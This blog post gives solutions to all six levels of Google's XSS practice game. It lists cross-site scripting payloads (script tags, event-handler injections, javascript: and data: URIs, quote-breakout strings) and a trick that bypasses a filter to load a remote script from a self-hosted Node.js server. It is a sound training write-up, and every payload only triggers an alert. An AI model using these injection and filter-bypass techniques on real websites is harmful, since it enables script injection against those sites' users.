Diving into XSS googles game

Hi there, this post deals with the game released by Google few days ago about XSS vulnerabilities that you can find here.

I’ll enumerate some of the solution I found on the Internet which were (in my opnion) interesting/fun. This post contains the solutions for all levels. Big spoil.

Level 1: Hello, world of XSS

Well, this one was obvious:

<script>alert(1);</script>

Level 2: Persistence is key

For this one, you had different options:

<a href="test" onclick="javascript:alert(1);">test</a>

Creating a link (will need an interaction with the user)

<img src="test.png" onerror="javascript:alert(1);" />

Loading an invalid image (using onerror) - no interaction

<img src="https://xss-game.appspot.com/static/level2_icon.png" onload="alert(1);" />

Loading a valid image (using onload) - no interaction

Level 3: That sinking feeling…

The image loaded on the page uses the window.location.hash javascript property.

We can abuse it this way:

1.jpg' onload='javascript:alert(1);'

Loading a valid image (using onload) - no interaction

And also:

' onerror="alert(1)">

Loading an invalid image (using onerror) - no interaction

It was also possible to use the script tag like this:

'><script>alert(1);</script>

Level 4: Context matters

To do this one there were different approaches:

1')%3Balert('1

The semicolon character had to be encoded because otherwise it was escaped.

It was possible to escape ' (single-quote character) too.

1%27)%3balert(%271

It was also possible to use || logical operator.

1') || alert('1

It was also possible to do it without any encoding/operator this way:

1');alert(1);//

Level 5: Breaking protocol

For this one, characters such as " (double-quote) was escaped.

We could just use:

javascript:alert(1);

Then, after clicking on the link, we popped up the alert box.

Level 6: Follow the rabbit

For the last level, it was possible to use data:text/javascript this way:

data:text/javascript,alert(1);

The regex was also case sensitive, so.. instead of “http”, we could write it “HTTP”. Then, we were able to load remote scripts this way:

HTTP://127.0.0.1:8000

or adding a whitespace at the beginning:

http://127.0.0.1:8000

the index page only had to contain some javascript like: alert(1);.

I saw on the internet that some people didn’t manage to load some HTTP scripts because they were using the HTTPS version. In this case, you can create a simple HTTPS Server (using Node.js for example).

var https = require('https');
var fs = require('fs');

var hskey = fs.readFileSync('server.key');
var hscert = fs.readFileSync('server.crt')

var options = {
    key: hskey,
    cert: hscert
};

https.createServer(options, function (req, res) {
    res.writeHead(200);
    res.end("alert(1);");
}).listen(8000);

Simple HTTPS Server using Node.js

In both cases, you could bypass the filter using:

//website.com/evilscript.js

// is another way to say https or http depending on the protocol you were using.

For example, if we have our HTTPS Server running, we can inject this:

//127.0.0.1:8000

Done.

Hope you learnt at least one trick. This game was really fun. Waiting for the next one.